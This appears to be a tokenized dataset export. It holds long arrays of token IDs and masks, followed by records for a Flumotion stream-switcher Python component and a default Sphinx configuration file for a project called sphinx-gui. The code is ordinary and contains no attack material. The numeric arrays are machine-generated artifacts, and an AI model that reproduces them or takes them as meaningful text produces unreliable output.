12751,
2768,
6970,
8,
2798,
14,
2798,
2081,
14,
18708,
12,
282,
14,
56,
11220,
9,
421,
198,
318,
2196,
63,
2326,
8,
277,
304,
507,
198,
67,
29,
10604,
14,
24387,
8,
2355,
14,
8393,
8,
1165,
12,
2299,
395,
2355,
14,
8393,
8,
1165,
12,
2299,
395,
2355,
14,
8393,
8,
1165,
12,
2299,
430,
507,
198,
692,
980,
14,
8536,
8,
67,
14,
362,
50,
4908,
1012,
28,
8251,
26,
686,
198,
67,
29,
277,
14,
2355,
63,
2326,
342,
507,
198,
1107,
286,
421,
198,
318,
1050,
18,
36,
10711,
8,
277,
12,
2798,
63,
6789,
304,
507,
198,
2798,
29,
4198,
14,
10711,
3339,
342,
507,
198,
2798,
14,
32608,
8436,
8,
7991,
9,
507,
198,
2798,
63,
6789,
14,
9475,
8,
2798,
9,
507,
198,
2798,
14,
1345,
3532,
397,
9811,
507,
198,
277,
14,
13701,
18,
36,
14,
740,
8,
2798,
9,
507,
198,
1107,
5137,
4388,
198,
318,
1050,
19,
36,
10711,
8,
277,
12,
2798,
63,
6789,
304,
507,
198,
2798,
19,
68,
275,
6482,
14,
2226,
2768,
3339,
342,
507,
198,
3,
20777,
275,
6482,
14,
2226,
7900,
2081,
7303,
20777,
14,
12873,
8,
2710,
12,
378,
12,
413,
12,
378,
2736,
20777,
14,
5275,
2801,
709,
12,
378,
12,
378,
2736,
277,
14,
2798,
14,
19798,
8,
20777,
9,
507,
198,
3,
4312,
275,
6482,
14,
2226,
7900,
2081,
7303,
4312,
14,
12873,
8,
2710,
12,
413,
12,
378,
12,
378,
2736,
4312,
14,
5275,
8,
16,
12,
446,
709,
12,
378,
2736,
277,
14,
2798,
14,
19798,
8,
4312,
9,
507,
198,
6838,
275,
6482,
14,
2226,
7900,
2081,
7303,
3,
6838,
14,
5275,
8,
16,
12,
378,
12,
446,
709,
2736,
507,
198,
2798,
19,
68,
14,
19798,
8,
6838,
2736,
507,
198,
2798,
19,
68,
14,
3291,
459,
5590,
418,
275,
6335,
507,
198,
2798,
19,
68,
14,
3291,
459,
32568,
418,
275,
959,
507,
198,
2798,
19,
68,
14,
3291,
459,
4651,
26720,
418,
275,
3388,
507,
198,
2798,
19,
68,
14,
32608,
8436,
8,
7991,
9,
507,
198,
2798,
63,
6789,
14,
9475,
8,
2798,
19,
68,
9,
507,
198,
277,
14,
13701,
19,
36,
14,
740,
8,
2798,
19,
68,
9,
507,
198,
2798,
19,
68,
14,
2798,
9863,
19,
36,
9811,
507,
198,
1107,
5137,
19,
68,
4388,
198,
318,
1050,
20966,
8,
277,
12,
2798,
12,
354,
4581,
761,
2687,
2299,
12,
2299,
12,
2299,
395,
3127,
534,
3039,
735,
507,
198,
3,
692,
8,
552,
8,
354,
2298,
11895,
275,
5137,
14,
2798,
8,
354,
29,
354,
9,
507,
198,
3,
2836,
26,
11895,
275,
5137,
14,
2798,
342,
507,
198,
692,
8,
552,
8,
354,
2298,
11895,
275,
10275,
14,
10711,
20966,
2081,
8,
354,
29,
354,
9,
507,
198,
2836,
26,
11895,
275,
10275,
14,
10711,
20966,
2081,
342,
507,
198,
2798,
14,
19798,
8,
11895,
9,
507,
198,
11895,
14,
409,
15597,
8,
2326,
29,
761,
12,
3462,
29,
17,
9,
507,
198,
1107,
15318,
421,
198,
318,
22110,
23439,
8,
277,
12,
2798,
304,
507,
198,
1107,
5137,
14,
525,
23439,
8,
2743,
26154,
709,
12,
1216,
430,
6905,
198,
318,
1050,
11220,
8,
277,
12,
2798,
12663,
589,
304,
507,
198,
80,
19,
275,
10275,
14,
2768,
3532,
342,
507,
198,
1219,
19,
275,
10275,
14,
11220,
2081,
360,
1019,
358,
507,
198,
2798,
14,
2798,
2081,
14,
4209,
14,
19798,
8,
1219,
19,
12,
499,
12,
650,
11,
552,
8,
277,
14,
3127,
7412,
430,
507,
198,
2798,
14,
2798,
2081,
14,
10436,
1252,
19798,
8,
80,
19,
9,
507,
198,
1219,
19,
14,
1073,
1378,
2768,
8,
80,
19,
9,
507,
198,
80,
19,
14,
409,
56,
3834,
8,
2798,
14,
2798,
2081,
9,
507,
198,
1219,
19,
14,
409,
58,
1110,
2801,
9943,
9,
507,
198,
692,
1249,
14,
362,
360,
1302,
297,
797,
304,
686,
198,
1219,
19,
14,
409,
4314,
8,
589,
14,
362,
360,
1302,
297,
797,
395,
3164,
29,
589,
14,
362,
360,
2326,
24205,
12596,
1333,
507,
198,
2798,
14,
1345,
3532,
397,
14,
740,
8,
80,
19,
9,
2742,
198,
80,
19,
14,
25559,
8,
2798,
14,
2798,
2081,
14,
18708,
14,
10436,
8934,
316,
8252,
1012,
507,
198,
80,
19,
14,
12751,
2768,
6970,
8,
2798,
14,
2798,
2081,
14,
18708,
12,
299,
19,
14,
56,
11220,
9,
507,
198,
309,
8690,
2455,
295,
30639,
11083,
198,
2806,
275,
9143,
14,
6672,
8,
277,
14,
873,
21180,
12,
2798,
9,
1057,
507,
198,
2798,
14,
362,
2768,
3532,
1252,
4093,
2223,
6970,
14,
2242,
8,
2806,
9,
507,
198,
277,
14,
3127,
7412,
14,
740,
8,
1219,
19,
9,
507,
198,
1107,
299,
19,
421,
198,
318,
4438,
4476,
8,
277,
12,
4284,
12,
1532,
19166,
589,
304,
686,
198,
7414,
275,
10565,
14,
49,
7929,
342,
686,
198,
7414,
2806,
275,
9143,
14,
6672,
8,
1532,
19166,
589,
9,
686,
198,
7414,
14,
2593,
14,
2242,
8,
7414,
2806,
9,
686,
198,
7414,
14,
928,
8,
4284,
9,
686,
198,
277,
14,
27386,
14,
740,
8,
7414,
9,
686,
198,
1107,
9715,
18118,
198,
318,
24725,
4476,
8,
277,
12,
4284,
12,
1532,
19166,
589,
304,
686,
198,
7414,
275,
10565,
14,
49,
7929,
342,
686,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Flumotion/flumotion
|
flumotion/component/combiners/switch/patternswitch.py
|
3
|
2611
|
# -*- Mode: Python -*-
# vi:si:et:sw=4:sts=4:ts=4
# Flumotion - a streaming media server
# Copyright (C) 2004,2005,2006,2007,2008,2009 Fluendo, S.L.
# Copyright (C) 2010,2011 Flumotion Services, S.A.
# All rights reserved.
#
# This file may be distributed and/or modified under the terms of
# the GNU Lesser General Public License version 2.1 as published by
# the Free Software Foundation.
# This file is distributed without any warranty; without even the implied
# warranty of merchantability or fitness for a particular purpose.
# See "LICENSE.LGPL" in the source distribution for more information.
#
# Headers in this file shall remain intact.
import gst
from flumotion.common import errors, messages
from flumotion.common.i18n import N_, gettexter
from flumotion.component import feedcomponent
from flumotion.component.combiners.switch import basicwatchdog
__version__ = "$Rev$"
T_ = gettexter()
class PatternEventSwitcher(basicwatchdog.AVBasicWatchdog):
logCategory = "comb-av-pattern-switcher"
def do_check(self):
d = basicwatchdog.AVBasicWatchdog.do_check(self)
def checkConfig(result):
props = self.config['properties']
eaterName = props.get('eater-with-stream-markers', None)
if eaterName != 'video-master' and eaterName != 'video-backup':
warnStr = N_("The value provided for the " \
"eater-with-stream-markers property " \
"must be one of video-backup, video-master.")
self.warning(warnStr)
self.addMessage(messages.Error(T_(N_(warnStr)),
mid="eater-with-stream-markers-wrong"))
return result
d.addCallback(checkConfig)
return d
def configure_pipeline(self, pipeline, properties):
basicwatchdog.AVBasicWatchdog.configure_pipeline(self, pipeline,
properties)
# set event probe to react to video mark events
eaterName = properties.get('eater-with-stream-markers',
'video-backup')
sinkpad = self.videoSwitchElement.get_pad(self.switchPads[eaterName])
sinkpad.add_event_probe(self._markers_event_probe)
def _markers_event_probe(self, element, event):
if event.type == gst.EVENT_CUSTOM_DOWNSTREAM:
evt_struct = event.get_structure()
if evt_struct.get_name() == 'FluStreamMark':
if evt_struct['action'] == 'start':
self.switch_to("backup")
elif evt_struct['action'] == 'stop':
self.switch_to("master")
return True
|
lgpl-2.1
|
[
3,
1882,
4900,
26,
2018,
1882,
199,
3,
1321,
26,
338,
26,
386,
26,
3519,
29,
20,
26,
10329,
29,
20,
26,
1086,
29,
20,
199,
199,
3,
11040,
453,
23193,
446,
282,
18490,
5898,
1654,
199,
3,
1898,
334,
35,
9,
8353,
12,
9397,
12,
7968,
12,
9488,
12,
9300,
12,
8664,
481,
10836,
500,
79,
12,
428,
14,
44,
14,
199,
3,
1898,
334,
35,
9,
7129,
12,
8128,
11040,
453,
23193,
21813,
12,
428,
14,
33,
14,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
961,
570,
1443,
506,
1854,
436,
15,
269,
6042,
1334,
314,
2895,
402,
199,
3,
314,
1664,
6401,
1696,
1684,
844,
1015,
499,
14,
17,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
14,
199,
3,
961,
570,
365,
1854,
1928,
1263,
3750,
27,
1928,
2755,
314,
2478,
199,
3,
3750,
402,
4004,
26938,
3616,
503,
5542,
4171,
367,
282,
6770,
12016,
14,
199,
3,
1666,
298,
3961,
14,
44,
12006,
2,
315,
314,
1350,
4084,
367,
1655,
2556,
14,
199,
3,
199,
3,
21391,
315,
642,
570,
10989,
5706,
315,
4552,
14,
199,
199,
646,
486,
270,
199,
199,
504,
2717,
453,
23193,
14,
2330,
492,
2552,
12,
3788,
199,
504,
2717,
453,
23193,
14,
2330,
14,
73,
1085,
78,
492,
653,
3131,
664,
3858,
351,
199,
504,
2717,
453,
23193,
14,
3173,
492,
4733,
3173,
199,
504,
2717,
453,
23193,
14,
3173,
14,
6560,
262,
1192,
14,
5656,
492,
5678,
6821,
13889,
199,
199,
363,
1023,
363,
275,
7880,
26176,
17351,
199,
52,
63,
275,
664,
3858,
351,
342,
421,
199,
533,
27019,
2390,
10167,
281,
8,
4316,
6821,
13889,
14,
6087,
6845,
13978,
13889,
304,
272,
943,
7841,
275,
298,
6560,
13,
1214,
13,
3401,
13,
5656,
281,
2,
339,
347,
886,
63,
1074,
8,
277,
304,
267,
366,
275,
5678,
6821,
13889,
14,
6087,
6845,
13978,
13889,
14,
1117,
63,
1074,
8,
277,
9,
398,
347,
1104,
2028,
8,
1099,
304,
288,
10792,
275,
291,
14,
888,
459,
3282,
418,
288,
325,
6618,
985,
275,
10792,
14,
362,
360,
69,
6618,
13,
1045,
13,
1745,
13,
16835,
297,
488,
9,
288,
340,
325,
6618,
985,
1137,
283,
3722,
13,
4133,
7,
436,
325,
6618,
985,
1137,
283,
3722,
13,
5751,
356,
355,
7987,
2848,
275,
653,
14332,
1918,
574,
2741,
367,
314,
298,
971,
490,
298,
69,
6618,
13,
1045,
13,
1745,
13,
16835,
3324,
298,
971,
490,
298,
7790,
506,
1373,
402,
3991,
13,
5751,
12,
3991,
13,
4133,
2685,
355,
291,
14,
3764,
8,
4050,
2848,
9,
355,
291,
14,
525,
2209,
8,
3431,
14,
547,
8,
52,
2531,
46,
2531,
4050,
2848,
1826,
490,
10887,
628,
69,
6618,
13,
1045,
13,
1745,
13,
16835,
13,
10603,
2237,
288,
372,
754,
267,
366,
14,
10053,
8,
1074,
2028,
9,
267,
372,
366,
339,
347,
7908,
63,
7379,
8,
277,
12,
7679,
12,
4382,
304,
267,
5678,
6821,
13889,
14,
6087,
6845,
13978,
13889,
14,
6472,
63,
7379,
8,
277,
12,
7679,
12,
288,
4382,
9,
267,
327,
663,
1566,
22362,
370,
295,
2442,
370,
3991,
2216,
4474,
267,
325,
6618,
985,
275,
4382,
14,
362,
360,
69,
6618,
13,
1045,
13,
1745,
13,
16835,
297,
288,
283,
3722,
13,
5751,
358,
267,
19241,
6226,
275,
291,
14,
3722,
10167,
2162,
14,
362,
63,
6226,
8,
277,
14,
5656,
48,
9402,
59,
69,
6618,
985,
566,
267,
19241,
6226,
14,
525,
63,
1430,
63,
15944,
8,
277,
423,
16835,
63,
1430,
63,
15944,
9,
339,
347,
485,
16835,
63,
1430,
63,
15944,
8,
277,
12,
1819,
12,
1566,
304,
267,
340,
1566,
14,
466,
508,
486,
270,
14,
8193,
63,
20519,
63,
8819,
9484,
26,
288,
16330,
63,
1820,
275,
1566,
14,
362,
63,
6976,
342,
288,
340,
16330,
63,
1820,
14,
362,
63,
354,
342,
508,
283,
7579,
85,
3296,
6470,
356,
355,
340,
16330,
63,
1820,
459,
1287,
418,
508,
283,
928,
356,
490,
291,
14,
5656,
63,
475,
480,
5751,
531,
2234,
916,
16330,
63,
1820,
459,
1287,
418,
508,
283,
2379,
356,
490,
291,
14,
5656,
63,
475,
480,
4133,
531,
267,
372,
715,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
4900,
26,
2018,
1882,
199,
3,
1321,
26,
338,
26,
386,
26,
3519,
29,
20,
26,
10329,
29,
20,
26,
1086,
29,
20,
199,
199,
3,
11040,
453,
23193,
446,
282,
18490,
5898,
1654,
199,
3,
1898,
334,
35,
9,
8353,
12,
9397,
12,
7968,
12,
9488,
12,
9300,
12,
8664,
481,
10836,
500,
79,
12,
428,
14,
44,
14,
199,
3,
1898,
334,
35,
9,
7129,
12,
8128,
11040,
453,
23193,
21813,
12,
428,
14,
33,
14,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
961,
570,
1443,
506,
1854,
436,
15,
269,
6042,
1334,
314,
2895,
402,
199,
3,
314,
1664,
6401,
1696,
1684,
844,
1015,
499,
14,
17,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
14,
199,
3,
961,
570,
365,
1854,
1928,
1263,
3750,
27,
1928,
2755,
314,
2478,
199,
3,
3750,
402,
4004,
26938,
3616,
503,
5542,
4171,
367,
282,
6770,
12016,
14,
199,
3,
1666,
298,
3961,
14,
44,
12006,
2,
315,
314,
1350,
4084,
367,
1655,
2556,
14,
199,
3,
199,
3,
21391,
315,
642,
570,
10989,
5706,
315,
4552,
14,
199,
199,
646,
486,
270,
199,
199,
504,
2717,
453,
23193,
14,
2330,
492,
2552,
12,
3788,
199,
504,
2717,
453,
23193,
14,
2330,
14,
73,
1085,
78,
492,
653,
3131,
664,
3858,
351,
199,
504,
2717,
453,
23193,
14,
3173,
492,
4733,
3173,
199,
504,
2717,
453,
23193,
14,
3173,
14,
6560,
262,
1192,
14,
5656,
492,
5678,
6821,
13889,
199,
199,
363,
1023,
363,
275,
7880,
26176,
17351,
199,
52,
63,
275,
664,
3858,
351,
342,
421,
199,
533,
27019,
2390,
10167,
281,
8,
4316,
6821,
13889,
14,
6087,
6845,
13978,
13889,
304,
272,
943,
7841,
275,
298,
6560,
13,
1214,
13,
3401,
13,
5656,
281,
2,
339,
347,
886,
63,
1074,
8,
277,
304,
267,
366,
275,
5678,
6821,
13889,
14,
6087,
6845,
13978,
13889,
14,
1117,
63,
1074,
8,
277,
9,
398,
347,
1104,
2028,
8,
1099,
304,
288,
10792,
275,
291,
14,
888,
459,
3282,
418,
288,
325,
6618,
985,
275,
10792,
14,
362,
360,
69,
6618,
13,
1045,
13,
1745,
13,
16835,
297,
488,
9,
288,
340,
325,
6618,
985,
1137,
283,
3722,
13,
4133,
7,
436,
325,
6618,
985,
1137,
283,
3722,
13,
5751,
356,
355,
7987,
2848,
275,
653,
14332,
1918,
574,
2741,
367,
314,
298,
971,
490,
298,
69,
6618,
13,
1045,
13,
1745,
13,
16835,
3324,
298,
971,
490,
298,
7790,
506,
1373,
402,
3991,
13,
5751,
12,
3991,
13,
4133,
2685,
355,
291,
14,
3764,
8,
4050,
2848,
9,
355,
291,
14,
525,
2209,
8,
3431,
14,
547,
8,
52,
2531,
46,
2531,
4050,
2848,
1826,
490,
10887,
628,
69,
6618,
13,
1045,
13,
1745,
13,
16835,
13,
10603,
2237,
288,
372,
754,
267,
366,
14,
10053,
8,
1074,
2028,
9,
267,
372,
366,
339,
347,
7908,
63,
7379,
8,
277,
12,
7679,
12,
4382,
304,
267,
5678,
6821,
13889,
14,
6087,
6845,
13978,
13889,
14,
6472,
63,
7379,
8,
277,
12,
7679,
12,
288,
4382,
9,
267,
327,
663,
1566,
22362,
370,
295,
2442,
370,
3991,
2216,
4474,
267,
325,
6618,
985,
275,
4382,
14,
362,
360,
69,
6618,
13,
1045,
13,
1745,
13,
16835,
297,
288,
283,
3722,
13,
5751,
358,
267,
19241,
6226,
275,
291,
14,
3722,
10167,
2162,
14,
362,
63,
6226,
8,
277,
14,
5656,
48,
9402,
59,
69,
6618,
985,
566,
267,
19241,
6226,
14,
525,
63,
1430,
63,
15944,
8,
277,
423,
16835,
63,
1430,
63,
15944,
9,
339,
347,
485,
16835,
63,
1430,
63,
15944,
8,
277,
12,
1819,
12,
1566,
304,
267,
340,
1566,
14,
466,
508,
486,
270,
14,
8193,
63,
20519,
63,
8819,
9484,
26,
288,
16330,
63,
1820,
275,
1566,
14,
362,
63,
6976,
342,
288,
340,
16330,
63,
1820,
14,
362,
63,
354,
342,
508,
283,
7579,
85,
3296,
6470,
356,
355,
340,
16330,
63,
1820,
459,
1287,
418,
508,
283,
928,
356,
490,
291,
14,
5656,
63,
475,
480,
5751,
531,
2234,
916,
16330,
63,
1820,
459,
1287,
418,
508,
283,
2379,
356,
490,
291,
14,
5656,
63,
475,
480,
4133,
531,
267,
372,
715,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
techdragon/sphinx-gui
|
docs/conf.py
|
2
|
7947
|
# -*- coding: utf-8 -*-
#
# sphinx-gui documentation build configuration file, created by
# sphinx-quickstart on Thu Jul 4 11:11:57 2013.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
import sys, os
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#sys.path.insert(0, os.path.abspath('.'))
# -- General configuration -----------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be extensions
# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
extensions = []
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix of source filenames.
source_suffix = '.rst'
# The encoding of source files.
#source_encoding = 'utf-8-sig'
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'sphinx-gui'
copyright = u'2013, Audrey Roy'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '0.1'
# The full version, including alpha/beta/rc tags.
release = '0.1'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#language = None
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']
# The reST default role (used for this markup: `text`) to use for all documents.
#default_role = None
# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True
# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True
# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []
# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False
# -- Options for HTML output ---------------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = 'default'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}
# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []
# The name for this set of Sphinx documents. If None, it defaults to
# "<project> v<release> documentation".
#html_title = None
# A shorter title for the navigation bar. Default is the same as html_title.
#html_short_title = None
# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None
# The name of an image file (within the static path) to use as favicon of the
# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'
# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}
